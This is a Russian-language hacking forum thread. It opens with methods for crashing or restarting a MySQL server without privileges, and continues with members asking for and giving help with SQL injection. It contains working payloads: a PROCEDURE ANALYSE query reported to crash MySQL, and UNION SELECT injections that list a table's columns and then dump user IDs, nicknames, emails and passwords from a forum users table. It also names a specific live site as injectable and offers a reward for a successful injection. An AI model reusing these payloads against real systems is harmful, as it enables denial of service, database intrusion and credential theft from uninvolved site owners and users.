Не знал куда запостить, сюда наверно логичнее всего... На статью не тянет, скорее заметка... Но тем не менее просто нужная информация... Итак, если нам вдруг понадобится срочно перезагрузить MySQL, а прав на RELOAD нет, чтобы выполнить Code: FLUSH PRIVILEGES; нам могут помочь следующие способы: Способ №1: Самый старый из найденных мной, но ни разу нигде не сработавших. Тем не менее человек на этом форуме утверждает, что это возможно... Тема 2008 года =) Кратко: MySQL падает так как надо указывать имя триггера в виде `mydb`.`mytrigger`, а не просто mytrigger. Code: mysql> CREATE TRIGGER mytrigger AFTER INSERT -> ON `mydb`.`mytable` FOR EACH ROW -> BEGIN END; ERROR 2013 (HY000): Lost connection to MySQL server during query mysql> OC = Windows XP SP 2 MySQL 5.0.16 Проверил работоспособность на Centos-6.3 2.6.34 Скрин приведён ниже. Результат - Способ не отработал. Способ №2: Заключается в эксплуатации бага #63775 Кратко: MySQL падает при чтении заголовка, следующего за удалённой записью. Code: # # Bug#13510739 63775: SERVER CRASH ON HANDLER READ NEXT AFTER DELETE RECORD. # -- source include/have_innodb.inc CREATE TABLE bug13510739 (c INTEGER NOT NULL, PRIMARY KEY (c)) ENGINE=INNODB; INSERT INTO bug13510739 VALUES (1), (2), (3), (4); DELETE FROM bug13510739 WHERE c=2; HANDLER bug13510739 OPEN; HANDLER bug13510739 READ `primary` = (2); # this one crashes the server IF the bug IS present HANDLER bug13510739 READ `primary` NEXT; DROP TABLE bug13510739; На оффициальном сайте говорится, что пофиксено начиная с версии 5.1.62 Решил испытать на своей системе, где версия MySQL 5.1.61. Скрины ниже. Зависимости: MySQL < 5.1.62 Результат - падения MySQL не выявлено Способ №3: Вроде как найден участником форума Light и описан в том числе и в этом посте. Code: select 1 from table procedure analyse ((select 1 from (select 1)a),1); Скрины ниже. Зависимости: MySQL > 3 Результат - успешный перезапуск MySQL. PROFIT !!! З.Ы. Это не дублирование - перетащил из другого места, тут логичнее всего оставить.
Вопрос знатокам в области SQL-инъекций. Что можно поиметь полезного ??? если на сайте включен отчет об ошибках MySQL и с помощью него (отчета об ошибках) известно , что сайт из POST-запроса фильтрует (тупо убирает) ТОЛЬКО одинарные и двойные кавычки кавычки, остальные символы не фильтрует и передаёт в SQL-запрос как есть. В частности не фильтрует обратный слэш ( \ ; ascii-код = 92 = 0x5C ) , с помощью которого (+ отчет об ошибках) и выяснено , какие именно символы сервис фильтрует из POST-запроса. sql-запрос вида SELECT `id`,`varAAA`,`varBBB`,`varCCC`,`varDDD` FROM `tableXXX` WHERE `varXXX`='postvalue1' AND `id`=postvalue2 postvalue2 всегда приводится к типу integer hex-фишки типа 0х11 - не работают сайт режет всю часть строки после нецифрового символа т.е. postvalue2 , равное 123b456 преобразовывает для sql-запроса в 123 P.S. за удачную инъекцию - щедрое вознаграждение
Всем привет, нашел ошибку - http://www.patriciapiccinini.net/news.php?id=46' Далее что - то не получается никак... Помогите, очень интересно двигаться в этом направлении.
satana_name ошибка Норм Посмотрели 2 3 версия 5.0.67-community дальше читай тему в которой ты отписался, и незачем сюда что то писать! есть отдельная тема
а что дальше, как их выбирать? запрос HTML: ?q=532&n=108316' and 1=0 union select 1,COLUMN_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.COLUMNS where table_name='aph_forum_users' -- Выводит Id Nik Email Pasw
Ну у Вас выводятся имена столбцов таблицы. Чтобы вывести значения этих столбцов, просто впишите в запрос имена и укажите с какой таблицы делать выборку. В Вашем случает примерно так... ?q=532&n=108316' and 1=0 union select 1,CONCAT_WS(0x3a,Id,Nik,Email,Pasw),3,4,5,6,7 FROM aph_forum_users --
я вот непойму, ну допустим есть уязвимый параметр id который попадает к примеру в такой запрос SELECT `domain` FROM `mpm` where `id` ='2' вот я например хочу вывести данные из информатион скхема SELECT `domain` FROM `mpm` where `id` ='2' union select `table_name` from information_schema.tables limit+0,1 почему в ответ пишет Unknown table 'mpm' in information_schema ??? (тестирую в phpmyadimn)
SELECT `domain` FROM `mpm` where `id` ='2' AND 1=0 union select `table_name` from information_schema.tables limit+0,1
Друзья, помогите! Пытаюсь найти аргументы для товарища, который считает что конструкция безопасна: PHP: $data = $db->query_once('SELECT id, email FROM users WHERE email="' . mysql_real_escape_string(substr($_POST['email'], 0, 60)) . '" LIMIT 1'); но к сожалению никак не нагуглю обход mysql_real_escape_string Я хочу сказать, что правильнее было бы параметризировать запрос, но пока я не покажу как обойти эту конструкцию. Потому прошу помощи. Если конечно я не заблуждаюсь.
Народ, имеется инъекция по параметру, который подставляется в LIMIT в запросе. Поскольку LIMIT - самая последняя часть запроса, то не могу скорректировать запрос так, чтобы получить что-то полезное (ни UNION не могу вставить, ничего такого).. Есть вообще возможность из этого LIMITa выдернуть что-то полезное?
https://forum.antichat.ru/showpost.php?p=535989&postcount=4 https://forum.antichat.ru/showthread.php?t=7118 - заголовок "инъекция после limit"